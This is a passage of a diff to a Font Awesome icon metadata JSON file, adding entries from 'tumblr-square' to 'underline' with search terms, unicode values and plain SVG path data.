23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z" + } + }, + "free": [ + "brands" + ] + }, + "tumblr-square": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f174", + "label": "Tumblr Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861025, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z" + } + }, + "free": [ + "brands" + ] + }, + "tv": { + "changes": [ + "4.4", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "computer", + "display", + "monitor", + "television" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f26c", + "label": "Television", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635776, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M592 0H48A48 48 0 0 0 0 48v320a48 48 0 0 0 48 48h240v32H112a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H352v-32h240a48 48 0 0 0 48-48V48a48 48 0 0 0-48-48zm-16 352H64V64h512z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M592 0H48A48 48 0 0 0 0 48v320a48 48 0 0 0 48 48h240v32H112a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H352v-32h240a48 48 0 0 0 48-48V48a48 48 0 0 0-48-48zm-16 352H64V64h512z" + } + }, + "free": [ + "solid" + ] + }, + "twitch": { + "changes": [ + "4.2", + "5.0.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1e8", + "label": "Twitch", + "voted": false, + "svg": { + "brands": { + "last_modified": 1599860539202, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z" + } + }, + "free": [ + "brands" + ] + }, + "twitter": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "social network", + "tweet" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f099", + "label": "Twitter", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861026, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z" + } + }, + "free": [ + "brands" + ] + }, + "twitter-square": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "social network", + "tweet" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f081", + "label": "Twitter Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861025, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-48.9 158.8c.2 2.8.2 5.7.2 8.5 0 86.7-66 186.6-186.6 186.6-37.2 0-71.7-10.8-100.7-29.4 5.3.6 10.4.8 15.8.8 30.7 0 58.9-10.4 81.4-28-28.8-.6-53-19.5-61.3-45.5 10.1 1.5 19.2 1.5 29.6-1.2-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3a65.447 65.447 0 0 1-29.2-54.6c0-12.2 3.2-23.4 8.9-33.1 32.3 39.8 80.8 65.8 135.2 68.6-9.3-44.5 24-80.6 64-80.6 18.9 0 35.9 7.9 47.9 20.7 14.8-2.8 29-8.3 41.6-15.8-4.9 15.2-15.2 28-28.8 36.1 13.2-1.4 26-5.1 37.8-10.2-8.9 13.1-20.1 24.7-32.9 34z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-48.9 158.8c.2 2.8.2 5.7.2 8.5 0 86.7-66 186.6-186.6 186.6-37.2 0-71.7-10.8-100.7-29.4 5.3.6 10.4.8 15.8.8 30.7 0 58.9-10.4 81.4-28-28.8-.6-53-19.5-61.3-45.5 10.1 1.5 19.2 1.5 29.6-1.2-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3a65.447 65.447 0 0 1-29.2-54.6c0-12.2 3.2-23.4 8.9-33.1 32.3 39.8 80.8 65.8 135.2 68.6-9.3-44.5 24-80.6 64-80.6 18.9 0 35.9 7.9 47.9 20.7 14.8-2.8 29-8.3 41.6-15.8-4.9 15.2-15.2 28-28.8 36.1 13.2-1.4 26-5.1 37.8-10.2-8.9 13.1-20.1 24.7-32.9 34z" + } + }, + "free": [ + "brands" + ] + }, + "typo3": { + "changes": [ + "5.0.1", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f42b", + "label": "Typo3", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775923, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z" + } + }, + "free": [ + "brands" + ] + }, + "uber": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f402", + "label": "Uber", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861026, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z" + } + }, + "free": [ + "brands" + ] + }, + "ubuntu": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "linux", + "operating system", + "os" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f7df", + "label": "Ubuntu", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861026, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z" + } + }, + "free": [ + "brands" + ] + }, + "uikit": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f403", + "label": "UIkit", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861026, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z" + } + }, + "free": [ + "brands" + ] + }, + "umbraco": { + "changes": [ + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f8e8", + "label": "Umbraco", + "svg": { + "brands": { + "last_modified": 1568817883852, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 510 512\"><path d=\"M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z\"/></svg>", + "viewBox": [ + "0", + "0", + "510", + "512" + ], + "width": 510, + "height": 512, + "path": "M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z" + } + }, + "free": [ + "brands" + ] + }, + "umbrella": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "protection", + "rain", + "storm", + "wet" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0e9", + "label": "Umbrella", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635777, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.7 280.8C547.1 144.5 437.3 62.6 320 49.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32v17.9C138.3 62.6 29.5 144.5.3 280.8c-2.2 10.1 8.5 21.3 18.7 11.4 52-55 107.7-52.4 158.6 37 5.3 9.5 14.9 8.6 19.7 0 20.2-35.4 44.9-73.2 90.7-73.2 58.5 0 88.2 68.8 90.7 73.2 4.8 8.6 14.4 9.5 19.7 0 51-89.5 107.1-91.4 158.6-37 10.3 10 20.9-1.3 18.7-11.4zM256 301.7V432c0 8.8-7.2 16-16 16-7.8 0-13.2-5.3-15.1-10.7-5.9-16.7-24.1-25.4-40.8-19.5-16.7 5.9-25.4 24.2-19.5 40.8 11.2 31.9 41.6 53.3 75.4 53.3 44.1 0 80-35.9 80-80V301.6c-9.1-7.9-19.8-13.6-32-13.6-12.3.1-22.4 4.8-32 13.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M575.7 280.8C547.1 144.5 437.3 62.6 320 49.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32v17.9C138.3 62.6 29.5 144.5.3 280.8c-2.2 10.1 8.5 21.3 18.7 11.4 52-55 107.7-52.4 158.6 37 5.3 9.5 14.9 8.6 19.7 0 20.2-35.4 44.9-73.2 90.7-73.2 58.5 0 88.2 68.8 90.7 73.2 4.8 8.6 14.4 9.5 19.7 0 51-89.5 107.1-91.4 158.6-37 10.3 10 20.9-1.3 18.7-11.4zM256 301.7V432c0 8.8-7.2 16-16 16-7.8 0-13.2-5.3-15.1-10.7-5.9-16.7-24.1-25.4-40.8-19.5-16.7 5.9-25.4 24.2-19.5 40.8 11.2 31.9 41.6 53.3 75.4 53.3 44.1 0 80-35.9 80-80V301.6c-9.1-7.9-19.8-13.6-32-13.6-12.3.1-22.4 4.8-32 13.7z" + } + }, + "free": [ + "solid" + ] + }, + "umbrella-beach": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "protection", + "recreation", + "sand", + "shade", + "summer", + "sun" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5ca", + "label": "Umbrella Beach", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635777, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M115.38 136.9l102.11 37.18c35.19-81.54 86.21-144.29 139-173.7-95.88-4.89-188.78 36.96-248.53 111.8-6.69 8.4-2.66 21.05 7.42 24.72zm132.25 48.16l238.48 86.83c35.76-121.38 18.7-231.66-42.63-253.98-7.4-2.7-15.13-4-23.09-4-58.02.01-128.27 69.17-172.76 171.15zM521.48 60.5c6.22 16.3 10.83 34.6 13.2 55.19 5.74 49.89-1.42 108.23-18.95 166.98l102.62 37.36c10.09 3.67 21.31-3.43 21.57-14.17 2.32-95.69-41.91-187.44-118.44-245.36zM560 447.98H321.06L386 269.5l-60.14-21.9-72.9 200.37H16c-8.84 0-16 7.16-16 16.01v32.01C0 504.83 7.16 512 16 512h544c8.84 0 16-7.17 16-16.01v-32.01c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M115.38 136.9l102.11 37.18c35.19-81.54 86.21-144.29 139-173.7-95.88-4.89-188.78 36.96-248.53 111.8-6.69 8.4-2.66 21.05 7.42 24.72zm132.25 48.16l238.48 86.83c35.76-121.38 18.7-231.66-42.63-253.98-7.4-2.7-15.13-4-23.09-4-58.02.01-128.27 69.17-172.76 171.15zM521.48 60.5c6.22 16.3 10.83 34.6 13.2 55.19 5.74 49.89-1.42 108.23-18.95 166.98l102.62 37.36c10.09 3.67 21.31-3.43 21.57-14.17 2.32-95.69-41.91-187.44-118.44-245.36zM560 447.98H321.06L386 269.5l-60.14-21.9-72.9 200.37H16c-8.84 0-16 7.16-16 16.01v32.01C0 504.83 7.16 512 16 512h544c8.84 0 16-7.17 16-16.01v-32.01c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "uncharted": { + "changes": [ + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e084", + "label": "Uncharted Software", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785925, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z" + } + }, + "free": [ + "brands" + ] + }, + "underline": { + "changes": [ + "2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "emphasis", + "format", + "text", + "writing" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0cd", + "label": "Underline", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635778, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 64h32v160c0 88.22 71.78 160 160 160s160-71.78 160-160V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H272a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32v160a80 80 0 0 1-160 0V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm400 384H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 